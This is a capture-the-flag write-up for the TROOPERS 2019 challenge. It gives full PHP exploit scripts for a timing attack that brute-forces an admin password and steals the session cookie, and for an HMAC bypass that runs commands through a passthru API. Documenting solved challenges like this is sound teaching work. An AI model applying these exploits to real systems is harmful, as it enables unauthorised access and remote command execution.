Technical Challenge

TROOPERS - 2019

Write-up

Contents

Guillaume Bour

November 20, 2018

Flags

Task 1: Access Denied

```
-----BEGIN FISHBOWL FLAG-----
cx0HnmtnrBbjxOY2bm63nmQ8sb+bZexl3iLTY2Ktml9Xr70d
rx7Y66H3Z9StdF4LcZMDlOkOwbks/dLtmzYtffRapFv3yZ3H
pLpmNB5S/2cRetme6PmEXN9TjMmmbFhMA//ekdyo3YuzTAJ6
iyh0UR9IsdsJ3FObl5f+zrkW6e7CWwztcEZTqMphpT/nyB1n
31hp4jrSGEyIU3Se7wb7Q0tdpJb8br/Fg6BumvyhxOFLPXHf
0s3lRNneGuqaeXO3msjNNj7DQVAEvhfTTu7tTf4RoPb+S9oY
9rvCQw48Tyi1KHkiSPxZypocJ0SkmRP/pdsaBsn6l2KBsEJ3
WWYWtLoV0+EP2sYbMdTI2/IG4hwjJycM2yrAFFu68N9LBEUQ
Yko68zdFuziCGF7v0FpZFlDPTGGG14M6jbn6ffBNP+BYRMep
fWfexAj/JmekRPffGZkTv7X+XT9UEjM0jTY1ObOTFeIp2c8u
X09QdCS/kCm76aKT9B8yNNmXFCXRprpqxAkyrs51VAc9DOOF
t4TIe8reienyRv4Kp8Ws21GTUp+EbXGGcJxMaq32WRpUzAwu
gtc3KMrlowq4SU+1iZt8BcPGRaeDj11garWawof0ScDp4qDg
aeSgFaYNykZ2Tg+JvuagIvhpvYRRzvUjK+KALKYSULOnbAAu
AV24DQrhSrw=
-----END FISHBOWL FLAG-----
```

Task 2: REST in Pieces

```
-----BEGIN FISHBOWL FLAG-----
thCsx0bpyJUVKmGB8l6eParA2Rrs8e78JD2USitqvRO5WwNm
sFgUqA/L69HbtKRjdRNUQTvhmlhr5Z8rwkg1VGWgmSFxLrnQ
U0iExIPh2tTVIHtdU0YTqgrylcdfxVu7zuEpqjgEPtSVVnrD
ifsFlbQdHisQsil3berlAIKaaWyNL70siSfEmOPCszdr/618
g9ofuLaQdsA9a2fDzrCHATA5SLSRX7KTpbPhvSFV9vpjD6mw
72ovKr7LY/UepJdyEkCBJBfofTQ95Zg27EicUHo8LArxWXfw
V4oKHj6PnioEv4YZ/5gLKlqP8Qu1tgNqBgaKLrOqPWLEug9W
A9/+dXZnzr8E9jE5BNPn/Q3+5+Ii/sZxjzLQjiBX0OqdQQMx
VKxvecRI1S5moxdGTr6LmYiTVoXWgYx9F78veE0id6cDLbEe
PTnjrSr/Q7efx6DyXuQLmVINoN1YZDYFx92lPnHqPtDkI1GW
7hP5LEG6M1Sfkde71KhHwFeYqbBjsGXQWVtaBDuOr9TMeCEK
l+QeQA63n8UaaDzXgyrhj4rcwcPBRHy/voGEDyy8LR6mqPU5
QY4SFiAyz2h/okKRwa8DTmv6XqVdUf12pMU+87N3FGZI/c2h
jKgjf0SD046PtEBLTlPnXKOPdZe+rG8Jtmg3X3yBvyphG44j
Kk7HCQOed6c=
-----END FISHBOWL FLAG-----
```

1 Task 1: Access Denied

TL;DR

The goal of this challenge was to gain access to a web application's administration panel.

When I tried to access `/admin` I was redirected to `/login`. When looking at the page source code, I learned that the password was 32 characters long, or at least was validated on the client side to be so. Also I noticed that using a valid password (such as 32 'A') along with the username "toto" produced the error message: "Invalid username!", whereas the username "admin" produced "Username or Password wrong!". That led me think the username "admin" was correct.

Once that information was gained and given the indication regarding performance issues in the challenge's description, I thought about implementing a Timing Attack (but did not implent it directly though, see below). The idea of this attack is to guess character by character by measuring the response time from the server. The longer it takes, the closest we are to guess the password. My first script was trying all the printable ASCII characters and constructing the password. It was working well: approximately 200ms were added for each new character guessed. However, it started to be really slow after the first characters were found. I decided to test the server's behavior when guessing one correct character at the time only, letting the other being the space character. And it worked as well!

The exploit script is then guessing the password one character at the time using the method described above. Once it gets it, it makes a new POST request with the correct username/password and saves the cookie obtained. This cookie is used to make a GET request to the `/admin` page and get the flag.

The long path

As explained above, I did not implement the Timing Attack in the first place even though I had thought about it. I believed it was something else and fortunately because it was fun discovering the available tracks!

After having checked the `/login` page, I tried the `/robots.txt`. Changing the User-Agent seemed to give access to `/login`, `/admin` and `/api`. That is why I changed my User-Agent to "Evil Imp/3.7" and got that Evil-unicorn face. The new accessed page seemed to indicate that there was a git repository on the server, accessible using `/.git`. Using GitTools,[1] developed by *internetwache*, I tried to extract the git repository. I got the commits but also a file, "secret.txt" which contained indications regarding the challs. I then implemented the timing attack as suggested. I also got the indication regarding the second challenge but I had already solved it at that time.

exploit1.php

```php
<?php

$url_login = "https://db.fishbowl.tech/login";
$url_admin = "https://db.fishbowl.tech/admin";
$PASSWORD_LENGTH = 32;
$guessed_pwd = "";

function request($url, $method="GET", $username="", $password="",
                 $follow=true, $cookie="") {
  $data = array(
    'username' => $username,
    'password' => $password,
     );
  $data = http_build_query($data);

  $header = "";
```

[1] https://github.com/internetwache/GitTools

```
17
18      if($method === "POST")
19        $header .= "Content-type:␣␣␣application/x-www-form-urlencoded\r\n"
20        ."Content-Length:␣".strlen($data)."\r\n";
21
22      if(!empty($cookie))
23         $header .= "Cookie:␣".$cookie."\r\n";
24
25      $options = array(
26        'http' => array(
27          'header'  => $header,
28          'method'  => $method,
29          'content' => $data,
30          'follow_location' => $follow));
31
32      $context  = stream_context_create($options);
33      $result = file_get_contents($url, false, $context);
34
35      if ($result === false) { print("Something␣went␣wrong...\n"); exit(-1); };
36
37      $obt_cookie = str_replace("Set-Cookie:␣", "", $http_response_header[7]);
38
39      return array('result' => $result, 'cookie' => $obt_cookie);
40
41    }
42
43
44    for($n = strlen($guessed_pwd) + 1; $n <= $PASSWORD_LENGTH; $n++) {
45
46      $max_t = 0;
47      $max_idx = 0;
48
49      for($i = 32; $i < 128; $i++) {
50        $passwd = str_repeat("␣", strlen($guessed_pwd))
51                  .chr($i)
52                  .str_repeat("␣", $PASSWORD_LENGTH - strlen($guessed_pwd) - 1);
53
54        $start = microtime(true);
55        request($url_login, "POST", "admin", $passwd);
56        $time_elapsed_secs = microtime(true) - $start;
57
58        if($time_elapsed_secs > $max_t) {
59          $max_t = $time_elapsed_secs;
60          $max_idx = $i;
61        }
62      }
63
64      $guessed_pwd .= chr($max_idx);
65      print("[*]␣".$guessed_pwd."\n");
66    }
67
68    print("[+]␣Password:␣".$guessed_pwd."\n");
69
70    $cookie = request($url_login, "POST", "admin", $guessed_pwd, false)['cookie'];
71    $result = request($url_admin, "GET", "", "", false, $cookie)['result'];
72
73    preg_match("'<pre>(.*?)</pre>'si", $result, $match);
74    if($match) { print($match[1]); }
75
76    ?>
```

2 Task 2: REST in Pieces

This challenge consisted in the exploitation of an API. The source code was given.

The API's code takes inputs from the `$_POST` array, performs basic checks on the values and exits if one value is not valid. Finally, it executes `passthru` with the command the user gives through `$_POST['action']`. The goal was then to pass all the checks and to execute the desired command on the server. For that I needed to bypass the last check which required to know the `$secret` to compute the right hash.

However, the value of `$secret` could be recomputed using the nonce given in the POST request. Moreover, the `hash_hmac` function was used to calculate this new value and we could exploit the fact that the nonce value is not checked correctly to control the value of `$secret`. Indeed, setting `$_POST['nonce']` with a non-empty array will pass the check and the `hash_hmac` function will return `null`, allowing us to bypass the last check and get the flag. I ran this test to confirm my idea:

```
> php -r "print(hash_hmac("sha256", ['a' => 2], "azerty") === null);"
1
```

Even though some warning are generated, the result is still `null`. The script exploiting the vulnerability is available below.

exploit2.php

```php
<?php

$command = "uname";
$url = "https://db.fishbowl.tech/api/vegan/rest";

$data = array(
    'nonce'  => ['a' => 2],
    'hash'   => hash_hmac("sha256", $command, null),
    'action' => base64_encode($command)
);

$options = array(
    'http' => array(
        'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
        'method'  => 'POST',
        'content' => http_build_query($data)
    )
);

$context  = stream_context_create($options);
$result = file_get_contents($url, false, $context);

if ($result === false) { print("Something went wrong...\n"); exit(-1); }

print($result);

?>
```